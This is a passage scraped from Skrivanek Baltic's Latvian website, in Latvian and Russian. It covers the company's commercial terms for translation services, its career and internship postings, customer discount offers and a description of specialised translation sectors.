atbildes ētikas jautājumos, atbalstot atklātību un uzticēšanos. Skrivanek Baltic vadītāji ne pie kādiem apstākļiem nedod tiešas vai netiešas norādes, kā arī neveicina ētikas kodeksa pārkāpšanu vai neievērošanu. Mūsu vadītājiem ir pienākums veltīt savu laiku jebkuru ētikas jautājumu izskatīšanai, kā arī ētikas kodeksa izskaidrošanai jaunajiem darbiniekiem. Vadītāji atbalsta darbinieku un valodu speciālistu ētisku rīcību un ir viņiem pieejami jautājumu un neskaidrību gadījumos, lai palīdzētu sniegt atbildes un risinājumus. --- > Skrivanek ir valodu uzņēmums ar vairāk nekā 25 gadu pieredzi – profesionāli un kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. PAMATNOTEIKUMI 1. 1. Šie vispārējie komercnoteikumi nosaka SIA “Skrivanek Baltic”, reģistrācijas numurs: 40003626172, juridiskā adrese: Lāčplēša ielā 87C, Rīgā, LV-1011, turpmāk tekstā – Izpildītājs, un tās klientu, turpmāk tekstā – Pasūtītājs, bet abi kopā – Puses, sadarbības principus. 1. 2. Komercnoteikumu priekšmets ir tādu pakalpojumu – turpmāk tekstā Pasūtījums, sniegšana, kas ir SIA “Skrivanek Baltic” uzņēmējdarbības veidi, jo īpaši rakstiski un mutiski tulkojumi saskaņā ar šiem komercnoteikumiem un Pasūtījumā atrunātajiem nosacījumiem. 1. 3. Līgumiskās attiecības starp Pasūtītāju un Izpildītāju tiek nodibinātas, noformējot rakstisku Pasūtījumu, tai skaitā e-pasta sarakstes veidā, kurā Puses vienojas par Pasūtījuma izpildes laiku, kārtību un samaksas nosacījumiem. 2. RAKSTISKIE TULKOJUMI 2. 1. Izpildītājs saskaņā ar 1. punktā minēto vienojas par Pasūtījumu un izpilda Pasūtījumu noteiktā valodā un laikā, to nododot Pasūtītājam norunātajā veidā. 2. 2. Pasūtītājs apņemas pienācīgi izpildītu Pasūtījumu pieņemt un samaksāt Izpildītājam norunāto cenu. 2. 3. Pasūtītāja pienākums ir pieņemt Pasūtījumu noteiktā laikā un veidā. 2. 4. Pasūtītāja vai tā pilnvarotā darbinieka pienākums ir pa tālruni vai rakstiski (tai skaitā pa e-pastu) apstiprināt Pasūtījuma pieņemšanu, norādot, ka tas pieņemts laikā. Ja Pasūtītājs neizpilda šo pienākumu un 24 stundu laikā pēc Pasūtījuma nodošanas termiņa pa tālruni vai rakstiski (tai skaitā pa e-pastu) neatgādina par pasūtījumu, Izpildītājs var uzskatīt, ka Pasūtītājs ir pasūtījumu saņēmis laikā un viņam nav radušies nekādi iebildumi par tā izpildes termiņu un kārtību. 2. 5. Pasūtījuma izpildes termiņš nav nokavēts, ja Izpildītājs atkārtoti – pēc Pasūtītāja atgādinājuma, tam nosūta Pasūtījumu un pierāda, ka to jau ir nosūtījis Pasūtījumā noteiktajā laikā un veidā. 2. 6. Ja Izpildītājs bez attaisnojoša iemesla nokavē Pasūtījuma nodošanu, tad Pasūtītājam ir tiesības prasīt līgumsodu 0,1% apmērā no pasūtījuma summas par katru nokavējuma dienu, bet ne vairāk kā 10% no Pasūtījuma cenas. 2. 7. Ja attaisnojošu iemeslu dēļ Pasūtījumu nav iespējams nodot Pasūtītājam iepriekš noteiktā veidā, Izpildītājs izvēlas citu pasūtījuma nodošanas veidu, kura izdevumus sedz Pasūtītājs, par ko tas tiek iepriekš brīdināts. 2. 8. Ja Pasūtītājs noteiktajā termiņā neiesniedz pretenziju un nemin pamatotu iemeslu, bet atsakās pieņemt pienācīgi izpildītu Pasūtījumu, tad Pasūtījums tiek uzskatīts par izpildītu, un Izpildītājam ir tiesības izrakstīt rēķinu, kuru Pasūtītājam ir pienākums apmaksāt. 3. MUTISKIE TULKOJUMI 3. 1. Izpildītājs saskaņā ar 1. punktā minēto vienojas par Pasūtījumu un izpilda pasūtījumu (mutisku tulkojumu) noteiktā valodā, laikā un vietā. 3. 2. Pasūtītājs apņemas pieņemt pienācīgi izpildītu pasūtījumu un samaksāt Izpildītājam norunāto cenu par mutisko tulkojumu. 3. 3. Izpildītājs nodrošina mutisku tulkojumu ar tulka (-u) starpniecību. 3. 4. Pasūtītāja pienākums ir pieņemt tulkojumu noteiktajā termiņā un veidā, kas norādīts pasūtījuma veidlapā. 3. 5. Ja mutiskais tulkojums tika veikts atbilstoši noteiktajām prasībām un termiņā un Pasūtītājam nav radušās pretenzijas, Pasūtītāja vai tā pilnvarota darbinieka pienākums ir uzreiz pēc tulkojuma veikšanas mutiskā tulkojuma izpildes akta veidlapā rakstiski apstiprināt, ka tulkojums ticis veikts vajadzīgajā kvalitātē un laikā. 3. 6. Ja Pasūtītājs bez pamata atsakās pieņemt pienācīgi izpildītu mutisko tulkojumu, noteiktajā termiņā neiesniedzot pretenziju, tad pasūtījums tiek uzskatīts par izpildītu, un Izpildītājam ir tiesības izrakstīt rēķinu, kuru Pasūtītājam ir pienākums samaksāt. 3. 7. Izpildītājs apņemas turēt noslēpumā visu informāciju, kas ir saistīta ar mutiskā tulkojuma tematu, kā arī apņemas veikt visu no Pasūtītāja saņemto palīgmateriālu, jo īpaši konfidenciālās informācijas, uzskaiti. 3. 8. Pasūtītājam nav tiesību pieprasīt, lai tulks (-i) veiktu citu, pasūtījuma veidlapā nenorādītu darbību, piem. , rakstisku tulkojumu, sapulces protokolēšanu u. c. 3. 9. Izpildītājam ir tiesības pieprasīt samaksu par visu norunāto tulka (-u) darba laiku, arī gadījumā, ja Pasūtītājs neizmanto visu šo laiku. 3. 10. Pasūtītāja pienākums ir nodrošināt attiecīgus darba apstākļus noteiktajam mutiskā tulkojuma veidam, ieskaitot tehnisko aprīkojumu, ja tas netiek pasūtīts pie Izpildītāja. 3. 11. Pasūtītāja pienākums ir nodrošināt tulka (-u) braucienu no norunātās vietas uz vietu, kur jāveic tulkojums. 3. 12. Gadījumā, ja tulks (-i) izmanto privāto transportlīdzekli, Pasūtītājs, to abpusēji saskaņojot ar Izpildītāju, sedz visus tulka (-u) ceļa izdevumus. 3. 13. Pasūtītājam jānodrošina tulka naktsmājas – vienvietīgu istabu ar ērtībām. 3. 14. Pasūtītāja pienākums ir nodrošināt tulkam (-u) pusdienu un atpūtas pārtraukumus vismaz 30 minūšu garumā reizi četrās tulkošanas stundās. 3. 15. Mutiskas tulkošanas diena ir astoņas (8) stundas, ieskaitot pārtraukumus. 3. 16. Pasūtītājam ir tiesības uz kompensāciju par laiku, ko nokavējis tulks. 4. PUŠU TIESĪBAS UN PIENĀKUMI 4. 1. Ja Pasūtītāja rīcībā ir iekšēji apstiprināts terminoloģijas saraksts, Pasūtītājam ir vēlams uz Pasūtījuma izpildes laiku to nodot Izpildītāja rīcībā vai nodot Izpildītājam citus palīgmateriālus, kas var palīdzēt pareizas terminoloģijas izvēlē, vai iecelt atbildīgo personu, kas sniegs nepieciešamās konsultācijas. 4. 2. Pasūtītājam vismaz trīs dienu laikā pirms mutiskas tulkošanas jānosūta Izpildītājam palīgmateriāli (piem. , iepriekšējās sapulces protokoli, referāti, prezentācijas vai citi materiāli). Ja minētais nosacījums netiek izpildīts, netiks izskatītas iespējamās pretenzijas par neprecīzu terminu lietošanu mutiskas tulkošanas laikā. 4. 3. Izpildītājs nav atbildīgs par iespējamām sekām, kas ir saistītas ar Pasūtītāja autortiesību pārkāpumiem. 4. 4. Izpildītājs apņemas turēt noslēpumā visu informāciju, kas saistīta ar Pasūtījuma priekšmetu, kā arī apņemas veikt visu no Pasūtītāja saņemto materiālu, jo īpaši konfidenciālās informācijas, uzskaiti. 4. 5. Pasūtītājs apņemas bez Izpildītāja piekrišanas nesazināsies ar Izpildītāja tulkotāju vai tulku. Ja Izpildītājs piekrīt, ka Pasūtītājs sazinās ar tulkotāju vai tulku, Pasūtītājs apņemas neizpaust tulkotājam vai tulkam informāciju, kas attiecas ar konkrēto Pasūtītāja un Izpildītāja Līguma saturu. Ja tiek pārkāpti šī punkta noteikumi, Pasūtītājs maksā Izpildītājam līgumsodu 500 EUR apmērā. 5. PRETENZIJAS 5. 1. Izpildītajam Pasūtījumam defekti ir tad, ja tas netika izpildīts saskaņā ar Pasūtījumā minētiem noteikumiem. 5. 2. Izpildītajam rakstiskam tulkojumam defekti ir arī tad, ja tas netiek izpildīts atbilstošā gramatiskā, stilistiskā vai semantiskā kvalitātē. 5. 3. Ja netiek konstatēti 5. 1. un 5. 2. punktā norādītie defekti, tiek uzskatīts, ka Pasūtījums ir izpildīts pienācīgi un atbilstoši Pasūtītāja prasībām. 5. 4. Pretenzijas ir jāiesniedz rakstiski (tai skaitā arī pa e-pastu). Pretenzijas ir jāpamato un tajās jānorāda defektu veids un, ja iespējams, arī to skaits. 5. 5. Ja Izpildītājs atzīst Pasūtītāja pretenziju par pamatotu, Izpildītājs veic atkārtotu veiktā Pasūtījuma pārstrādāšanu. Šajā gadījumā Pasūtītājam ir tiesības uz Pasūtījuma cenas atlaidi. 5. 6. Pasūtītājam tiek piešķirta atbilstoša pasūtījuma cenas atlaide, ja Izpildītājs atzīst par pamatotu Pasūtītāja pretenziju, kuras pamatā nav defekti, kas minēti 5. 2. punktā vai arī gadījumā, ja Pasūtītājs atsakās no piedāvātās korektūras. 5. 7. Atlaides apjoms tiek noteikts, pamatojoties uz speciālista atzinumu vai abām pusēm, savstarpēji vienojoties. 5. 8. Ja starp Pusēm rodas strīds sakarā ar Pasūtītāja termiņā iesniegto pretenziju, kur minēti 5. 2. punktā norādītie defekti, abas puses sākumā apņemas strīdu risināt, ievērojot ārpus tiesas izskatīšanas kārtību, izvēloties kompetenta neatkarīga speciālista atzinumu. Par speciālistu abas puses savstarpēji vienojas. 5. 9. Atlaides apjoms ir atkarīgs no speciālista sniegtā atzinuma vai abu pušu vienošanās. 5. 10. Par iespējamajiem zaudējumiem, kas ir saistīti ar izpildītā pasūtījumā pieļautiem defektiem, ir atbildīgs Izpildītājs. Puses vienojas, ka zaudējumu prasības apmērs tiek ierobežots un zaudējumi tiek atlīdzināti ne vairāk kā Pasūtījuma cenas apmērā. 5. 11. Komerciālu tulkojumu gadījumā, t. i. , ja Pasūtītājs ir komersants, tad Pasūtītāja pienākums ir izteikt Izpildītājam pretenzijas par defektiem bez liekas kavēšanās pēc tam, kad to ir pamanījis, tomēr ne vēlāk kā 21 dienas laikā pēc veiktā Pasūtījuma saņemšanas. 5. 12. Ja Pasūtītājs ir fiziska persona, viņš ir tiesīgs pieteikt prasījumu saskaņā ar Patērētāju tiesību aizsardzības likumu. 5. 13. Ar novēlošanos iesniegta pretenzija netiek izskatīta un tiek uzskatīta par spēkā neesošu. 6. NORĒĶINU KĀRTĪBA 6. 1. Pasūtījuma cenas aprēķina pamatā ir spēkā esošs Izpildītāja cenrādis un tajā norādītais cenas aprēķina veids. 6. 2. Ja aptuvenā Pasūtījuma cena izriet tikai no aptuvenā vienību skaita, cenu aprēķins tiek veikts, saskaitot reālās vienības (tulkojuma mērķa valodā) pēc tulkojuma izpildes. 6. 3. Izpildītājam ir tiesības izrakstīt rēķinu par sniegtajiem pakalpojumiem uzreiz pēc Pasūtījuma izpildes, pamatojoties uz Pasūtījumā norādītajiem nosacījumiem. 6. 4. Pasūtījuma samaksas pamatā ir rēķins, ko izrakstījis Izpildītājs un kas Pasūtītajam jāapmaksā līdz noteiktā samaksas termiņa beigām. 6. 5. Ja Pasūtītājs nokavē rēķina apmaksas termiņu, tiek aprēķināti nokavējuma procenti 0,01% apjomā no parāda summas par katru maksājuma kavējuma dienu. 6. 6. Jebkura līgumā noteiktā maksājuma kavējuma gadījumā Pasūtītāja naudas iemaksas vispirms tiek ieskaitīta kā nokavējuma procenti, bet atlikusī summa tiek ieskaitīta attiecīgā parāda summas dzēšanai. 6. 7. Abām pusēm vienojoties, Izpildītājs var izrakstīt Pasūtītājam priekšapmaksas rēķinu 50% apmērā no Pasūtījuma summas. Priekšapmaksas rēķins jāapmaksā noteiktajā termiņā. 7. FIZISKO PERSONU DATU AIZSARDZĪBA 7. 1. Puses apņemas ievērot personu datu aizsardzības normatīvo aktu prasības, t. sk. Eiropas Parlamenta un Padomes regulu Nr. 2016/679 par fizisku personu aizsardzību attiecībā uz personas datu apstrādi un šādu datu brīvu apriti un ar ko atceļ Direktīvu 95/46/EK (Vispārīgā datu aizsardzības regula)”, proti, nodrošināt, ka personas dati: 7. 1. 1. tiks apstrādāti likumīgi, godprātīgi un datu subjektiem pārredzamā veidā; 7. 1. 2. tiks apstrādāti Pasūtījuma izpildei, un personas datu apstrādi neveiks ar Pasūtījumu izpildi nesavietojamā veidā; 7. 1. 3. tiks apstrādāti tādā veidā, lai nodrošinātu normatīvajiem aktiem atbilstošu datu drošību, t. sk. aizsardzību pret neatļautu vai nelikumīgu apstrādi un nejaušu nozaudēšanu, iznīcināšanu vai sabojāšanu, izmantojot atbilstošus tehniskos vai organizatoriskos pasākumus. 7. 2. Katra Puse ir atbildīga par personu (datu subjektu) informēšanu par viņu personas datu apstrādi, ko veic kā datu pārzinis. 7. 3. Puses apņemas nenodot saņemtos personas datus trešajām personām bez tās Puses iepriekšējas rakstveida piekrišanas, no kuras tā ir saņēmusi personas datus. Ja saskaņā ar normatīvajiem aktiem Pusei ir pienākums izpaust saņemtos personas datus, tās pienākums par personas datu nodošanu informēt Pusi, no kuras tā ir saņēmusi personas datus, ja vien to neaizliedz normatīvie akti. 7. 4. Izpildītājam ir pienākums saglabāt šī līguma ietvaros saņemtos Personas datus konfidenciālus nenoteiktu laika periodu gan līguma darbības laikā, gan pēc tā. 7. 5. Izpildītājam ir pienākums nodrošināt, ka tā darbinieki un/vai pilnvarnieki, un/vai apakšuzņēmēji ievēro šajā punktā minēto konfidencialitātes prasību nenoteiktu laika periodu, ja vien Eiropas Savienības vai Latvijas Republikas normatīvie akti nav uzlikuši Izpildītājam pienākumu izpaust šo informāciju valsts un/vai pašvaldību iestādēm. 7. 6. Puses nodrošina, ka šī līguma ietvaros saņemtajiem personas datiem ir piekļuve tikai tiem saviem darbiniekiem, pilnvarniekiem vai apakšuzņēmējiem, kas iesaistīti līguma izpildē un tikai tādā apmērā, kas nepieciešams to pienākumu veikšanai līguma saistību izpildē. 7. 7. Izpildītājam ir pienākums nekavējoties informēt ne tikai uzraugošo iestādi, bet arī Pasūtītāju par gadījumiem, kad ir noticis līguma ietvaros saņemto personas datu apstrādes pārkāpums vai radušās aizdomas, ka tas varētu iestāties. Informēšana notiek ne vēlāk kā 72 stundas pēc pārkāpuma atklāšanas. 7. 8. Puses apliecina, ka personas datu apstrāde tiek veikta tikai Eiropas Savienības (ES) un Eiropas Ekonomikas zonas (EEZ) valstīs. 7. 9. Puses ir atbildīgas par atbilstošu pasākumu nodrošināšanu un īstenošanu saņemto personas datu aizsardzībā (t. sk. , tehnisko un organizatorisko pasākumu veikšanu, personas datu apstrādes sistēmu aizsardzību) tādā veidā, lai apstrādē ir ievērotas Eiropas Savienības un Latvijas Republikas normatīvo aktu prasības un novērsta nesankcionēta piekļuve personas datiem. 8. STRĪDU IZSKATĪŠANAS KĀRTĪBA 8. 1. Strīdus, kas rodas Līguma izpildes gaitā vai sakarā ar šo Līgumu, Puses risina savstarpēju pārrunu ceļā 60 (sešdesmit) dienu laikā. Vienošanās par strīda atrisināšanu noformējama rakstveidā un Puses to abpusēji paraksta. Minētā vienošanās pievienojama pie šī Līguma. Ja vienošanās netiek panākta, tad strīdus risina tiesā Latvijas Republikas normatīvajos aktos noteiktajā kārtībā. Spēkā no 18. 08. 2021. --- > Esat tulks, tulkotājs vai korektors? Esat lektors un vēlaties sadarboties ar mums? Aizpildiet pieteikuma formu mājaslapā un pievienojieties mūsu komandai! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/karjera/ - Translation Priorities: Optional Mēs zinām, cik svarīga ir valodu pakalpojumu kvalitāte, tādēļ strādājam tikai ar labākajiem valodu speciālistiem. Skrivanek Baltic ir arī citas nodaļas, kurās tulkošanas pieredze nav obligāta – apskati tur šobrīd pieejamās vakances. Šobrīd meklējam tulkus un tulkotājus šādās valodu kombinācijās: čehu-latviešu-čehu igauņu-latviešu-igauņu norvēģu-latviešu-norvēģu slovāku-latviešu-slovāku vācu-latviešu-vācu Šobrīd meklējam mutiskos tulkus šādās valodu kombinācijās: krievu-latviešu-krievu Šobrīd meklējam tulkotājus šādās valodu kombinācijās: poļu-latviešu-poļu latviešu-krievu (medicīnas tekstu) Šobrīd meklējam korektorus un tekstu autorus šādās valodās: latviešu krievu NĀC PRAKSĒ UZ SKRIVANEK! Studē angļu, vācu vai franču valodu vai lietišķo valodniecību? Vēlies uzzināt, vai tev piemīt prasmes, kas nepieciešamas profesionālam tulkotājam? Vēlies mācīties no labākajiem un redzēt, kā strādā nozares līderi? Sazinies ar mums! Sūti CV (pastāsti par saviem interesantākajiem sasniegumiem skolā) uz lelde@skrivanek. lv un tematā raksti “prakses vieta”. MEKLĒJAM DTP (dokumentu grafiskās apstrādes) SPECIĀLISTUS Prasības: vismaz divu gadu pieredze dokumentu grafiskajā apstrādē; vēlama augstākā izglītība IT jomā; zināšanas par maketēšanu; punktualitāte un precizitāte uzdevumu veikšanā; zināšanas un pieredze darbā ar programmatūru, piemēram: (Adobe Photoshop, Adobe Acrobat, Corel Draw, Adobe Page Maker, Adobe FrameMaker, Adobe InDesign, Adobe Illustrator, Quark Xpress, MS Office) Pretendentam ir jāspēj būt patstāvīgam un jāmāk labi plānot savu laiku, jāpiemīt augstai atbildības sajūtai un jāprot rast rasinājumus nestandarta situācijām. Vēlies strādāt ar mums? Reģistrējies Piegādātāju portālā jau tūlīt! PIEZĪME: Lūdzu, neaizmirsti augšupielādēt CV un citus dokumentus, kas apliecina kvalifikāciju un pieredzi (piemēram, diplomus, sertifikātus, ieteikuma vēstules utt. ). Ja nesazināsimies 7 dienu laikā no reģistrācijas Piegādātāju portālā brīža, informējam, ka šobrīd mums nav aktuālu sadarbības piedāvājumu. Lūdzu, pieteikumā iekļaujiet šādu atsauci: “Ar šo es piekrītu manu personas datu apstrādei atlases procesa laikā. ” Sakarā ar mūsu uzņēmuma straujo izaugsmi, meklējam papildspēkus šādiem amatiem: Meklējam angļu, vācu un franču valodas tulkotājus ar pieredzi darbā ar CAT rīkiem un NMT pēcrediģēšanu. Angļu IT farmācija un farmakoloģija kardioloģija medicīniskais aprīkojums mēbeļu rūpniecība enerģētikas zinātne telekomunikācijas Vācu automatizācija / robotika celtniecība / civilā inženierija elektrotehnikas un elektronikas inženierija enerģētikas zinātne auto / aviācija farmācija veselības aprūpe medicīniskais aprīkojums Franču banku darbība / investīcijas ekonomika grāmatvedība apdrošināšana automatizācija / robotika celtniecība / civilā inženierija elektrotehnikas un elektronikas inženierija enerģētikas zinātne auto / aviācija Priekšroka speciālistiem, kuri specializējas kādā no minētajām jomām. Vēlies pievienoties mums? Reģistrējies Piegādātāju portālā jau tūlīt! PIEZĪME: Lūdzu, neaizmirsti augšupielādēt CV un citus dokumentus, kas apliecina kvalifikāciju un pieredzi (piemēram, diplomus, sertifikātus, ieteikuma vēstules utt. ). Ja nesazināsimies 7 dienu laikā no reģistrācijas Piegādātāju portālā brīža, informējam, ka šobrīd mums nav aktuālu sadarbības piedāvājumu. Jautājumos par personāla atlasi sazināties, rakstot uz e-pastu: lelde@skrivanek. lv TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodas speciālistu 0 ISO sertifikāti --- > Izmantojiet īpašos piedāvājumus tulkošanas pakalpojumiem, valodu mācībām, bērnu nometnēm un ietaupiet! Uzziniet vairāk šeit! - Published: 2017-10-02 - Modified: 2025-04-30 - URL: https://skrivanek.lv/ipasie-piedavajumi/ - Translation Priorities: Optional TULKOŠANAS PAKALPOJUMIEM Maksājot par tulka pakalpojumiem civilprocesā, izmantojiet īpašo piedāvājumu: secīgais tulkojums angļu – latviešu valodā vai krievu – latviešu valodā tikai 50 eiro/stundā + PVN! Tulkojuma pareizības apliecinājums ar biroja zīmogu tikai 5 eiro + PVN! Ja nav nepieciešams notariāli apliecināts tulkojums, piedāvājam apliecināt tulkojuma pareizību ar biroja zīmogu! Piedāvājums spēkā pirmajam eksemplāram (līdz 10 lpp. ). Club One kartes īpašniekiem piedāvājam 5% atlaidi tulkošanas pakalpojumiem. ISIC kartes īpašniekiem piedāvājam 10% atlaidi rakstiskajiem tulkojumiem. * *Piedāvājums spēkā privātpersonām. Latvijas Nedzirdīgo Savienības biedriem piedāvājam 20% atlaidi tulkošanas pakalpojumiem ar notariālo apliecinājumu (uzrādot biedra apliecību). Rīgas Tehniskās universitātes studentu karšu īpašniekiem piedāvājam 7,77% atlaidi tulkojumiem ar notariālo apliecinājumu. Rīdzinieka kartes īpašniekiem piedāvājam 10% atlaidi personu apliecinošu dokumentu tulkojumiem (pase, personas apliecība, dzimšanas apliecība) latviešu, krievu, angļu un vācu valodā. Atlaides nesummējas. Klientam ir tiesības izvēlēties lielāko atlaidi. VALODU MĀCĪBĀM, BĒRNU NOMETNĒM Maksājot par valodu kursiem uzreiz, saņemiet 15% atlaidi, bet ja apmeklējat kursu divatā, katram tiek piešķirta atlaide 19% apmērā! Piedāvājums spēkā svešvalodu kursam ar 30 nodarbībām grupās (izņemot vasaras intensīvajam kursam). 50% atlaide par kursiem darbdienu vidū ir spēkā, maksājot par visu kursu uzreiz. Piedāvājums spēkā svešvalodu kursam ar 30 nodarbībām grupās (izņemot vasaras intensīvajam kursam), studentu skaits grupā ir noteikts līdz divpadsmit personām. Apmeklējiet individuālos svešvalodu kursus divatā, maksājiet tikai par vienu. Augstskolas Turība studentiem un absolventu karšu īpašniekiem piedāvājam 7,77% atlaidi svešvalodu kursiem individuāli, kā arī 7,77% atlaidi itāļu, spāņu, vācu, franču, krievu valodu kursu nodarbībām grupās. Amerikas Tirdzniecības palātas Latvijā (The American Chamber of Commerce in Latvia) biedriem 5% atlaidi visiem Skrivanek Baltic organizētajiem valodu kursiem. LTRK (Latvijas Tirdzniecības un rūpniecības kamera) biedriem trešo seminārnodarbību grupā piedāvājam bez maksas. Club One kartes īpašniekiem 10% atlaide visiem Skrivanek Baltic organizētajiem valodu kursiem un bērnu angļu valodas nodarbībām, kas notiek katru sestdienu Skrivanek Baltic telpās. Rīgas Tehniskās universitātes studentu karšu īpašniekiem piedāvājam 5% atlaidi visiem Skrivanek Baltic organizētajiem valodu kursiem Latvijas Goda ģimenes apliecības „Goda ģimene” un „3 + Ģimenes karte” īpašniekiem 5% atlaide pilnas dienas nometnei Riga Fun un 10% atlaide nepilnas dienas bērnu vasaras nometnēm. Evolution Latvia Privilege Card karšu īpašniekiem piedāvājam 20% atlaidi visiem Skrivanek Baltic organizētajiem valodu kursiem grupā (pieaugušajiem), kas notiek darbadienu vakaros vai sestdienās. ISIC kartes īpašniekiem piedāvājam 20% atlaidi angļu valodas kursiem grupā, kas notiek darbadienu vakaros un sestdienās. Atlaides netiek summētas un tiek piemērotas kursu sākuma cenai, apmaksu veicot vienā maksājumā. NEPIECIEŠAMS TULKOJUMS? MEKLĒJIET VALODU MĀCĪBAS VAI NEPIECIEŠAMA KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties --- > Если вы предлагаете услуги письменного, устного перевода или редактуры и желаете присоединиться к нашей команде, свяжитесь с нами! - Published: 2017-10-02 - Modified: 2024-01-03 - URL: https://skrivanek.lv/karjera/ - Translation Priorities: Optional Мы знаем, насколько важно качество языковых услуг, поэтому работаем только с лучшими специалистами отрасли. В Skrivanek Baltic есть и другие отделы, где опыт перевода не является обязательным, – ознакомьтесь с вакансиями, предлагаемыми в настоящее время. В настоящее время мы ищем устных и письменных переводчиков в следующих языковых комбинациях:В настоящее время мы ищем устных переводчиков в следующих языковых комбинациях:ПРИХОДИ НА ПРАКТИКУ В SKRIVANEK! Изучаешь английский, немецкий или французский язык или прикладную лингвистику? Желаешь узнать, обладаешь ли ты навыками, необходимыми для профессионального переводчика? Желаешь учиться у лучших и увидеть, как работают лидеры отрасли? Свяжись с нами! Отправь свое резюме (расскажи о самых интересных достижениях в школе) на адрес электронной почты: lelde@skrivanek. lv, указав в теме «место практики». ИЩЕМ СПЕЦИАЛИСТОВ ПО DTP (графической обработке документов) Требования: опыт работы в сфере графической обработки документов не менее двух лет; желательно высшее образование в области ИТ; знание компоновки; пунктуальность и точность при выполнении поставленных задач; знания и опыт работы с программным обеспечением, таким как: Adobe Photoshop, Adobe Acrobat, Corel Draw, Adobe Page Maker, Adobe FrameMaker, Adobe InDesign, Adobe Illustrator, Quark Xpress, MS Office. Претендент должен быть самостоятельным и уметь грамотно планировать свое время, обладать высоким чувством ответственности и быть способным находить решения в нестандартных ситуациях. Желаете работать с нами? Зарегистрируйтесь на Портале поставщиков прямо сейчас! ПРИМЕЧАНИЕ: Не забудьте, пожалуйста, загрузить свое резюме и другие документы, подтверждающие квалификацию и опыт (например, дипломы, сертификаты, рекомендательные письма и т. д. ). Если мы не свяжемся с вами в течение 7 дней с момента регистрации на Портале поставщиков, значит, на данный момент у нас нет актуальных предложений о сотрудничестве. Включите, пожалуйста, в заявку следующую оговорку: «Настоящим я даю согласие на обработку моих персональных данных в процессе отбора». В связи с быстрым ростом нашей компании мы ищем дополнительных сотрудников на следующие должности: Ищем переводчиков английского, немецкого и французского языков, имеющих опыт работы с инструментами CAT и постредактирования NMT. Предпочтение отдается претендентам, которые специализируются в одной из указанных отраслей. Желаете присоединиться к нам? Зарегистрируйтесь на Портале поставщиков прямо сейчас! ПРИМЕЧАНИЕ: Не забудьте, пожалуйста, загрузить свое резюме и другие документы, подтверждающие квалификацию и опыт (например, дипломы, сертификаты, рекомендательные письма и т. д. ). Если мы не свяжемся с вами в течение 7 дней с момента регистрации на Портале поставщиков, значит, на данный момент у нас нет актуальных предложений о сотрудничестве. По вопросам подбора персонала с нами можно связаться по электронной почте: lelde@skrivanek. lv. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ ЯЗЫКОВ В РАЗЛИЧНЫХ КОМБИНАЦИЯХ 0+ млн СЛОВ ПЕРЕВЕДЕНО В 2023 ГОДУ 0+ СПЕЦИАЛИСТОВ ПО РАЗЛИЧНЫМ ЯЗЫКАМ 0 СЕРТИФИКАТА ISO --- > Dažādu nozaru tekstu tulkojumi. Specializēti rakstiskie un mutiskie tulkojumi. Saņemiet bezmaksas cenas aprēķinu dažu minūšu laikā! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Specializētie tulkojumi ir tulkojumi, kuros tulkotājs ir eksperts konkrētā nozarē, tēmā, jomā. Tulkojamais teksts tiek uzskatīts par specializētu, ja tulkošanai nepieciešamas papildu terminoloģiskās zināšanas, kas parasti neietilpst tulka vai tulkotāja vispārējās zināšanās. Šāda tulkošana nodrošina precīzu un kvalitatīvu tulkojumu, kas ievēro nozares terminoloģiju un izpratni par konkrētu tēmu, tāpēc mēs strādājam ar augsti kvalificētiem tulkotājiem, kas ieguvuši izglītību ne tikai valodu jomā, bet arī orientējas un ir specializējušies citās nozarēs. Specializētie tulkojumi var ietvert dažādu nozaru un tēmu tulkojumus, piemēram, medicīnas, jurisprudences, lauksaimniecības, tehnisko, tehnoloģiju, finanšu un daudzus citus. KAD UN KĀPĒC IZVĒLĒTIES SPECIALIZĒTO TULKOJUMU? Nodrošinām privātu vai darba dokumentu, drukātu materiālu un dažādu prezentāciju tulkošanas pakalpojumus. Turklāt, ja teksti nepieprasa specifiskas nozares zināšanas, tulkojums tiek veikts patiešām ātri un tulkošanas cena tiek aprēķināta uzreiz, atbilstoši vārdu skaitam. Zināšanas un pieredze = precīzs un kvalitatīvs tulkojums Specializētie tulkojumi prasa, lai tulkotājam būtu padziļinātas zināšanas un pieredze konkrētajā nozarē vai tēmas jomā. Tādējādi tulkotājs var nodrošināt precīzu un kvalitatīvu tulkojumu, ievērojot konsekventu un precīzu nozares terminoloģiju un lietojot atbilstošu valodas stilu. Izvēloties specializētu tulkojumu, klients var būt drošs, ka saņems izprastu un pareizi pārtulkotu tekstu vai dokumentu. Ātrums un efektivitāte Tulkotājs, kurš ir eksperts konkrētajā nozarē vai jomā, var ātri un efektīvi veikt tulkojumu, jo viņam nav jāmeklē nozīmes un tulkojumi speciālajiem terminiem. Turklāt tulkotāji, kas sniedz specializētos tulkošanas pakalpojumus, regulāri strādā ar noteiktas nozares tekstiem un dokumentiem, seko līdzi šai nozarei un līdz ar to orientējas arī jaunākajā terminoloģijā. Uzticamība Visbeidzot specializētie tulkojumi var būt nepieciešami, ja runa ir par nozīmīgas informācijas nodošanu, kas var ietekmēt uzņēmuma reputāciju, finanšu stāvokli, medicīnas aprūpes kvalitāti un citas nozīmīgas jomas. Lai nodrošinātu pareizu un precīzu informācijas nodošanu un nekas būtisks "nepazustu tulkojumā", ir vērts izvēlēties specializētus tulkojumus. NOZARES, KURĀS VISBIEŽĀK VEICAM TULKOJUMUS Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes NOZARES, KURĀS VISBIEŽĀK VEICAM TULKOJUMUS Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un 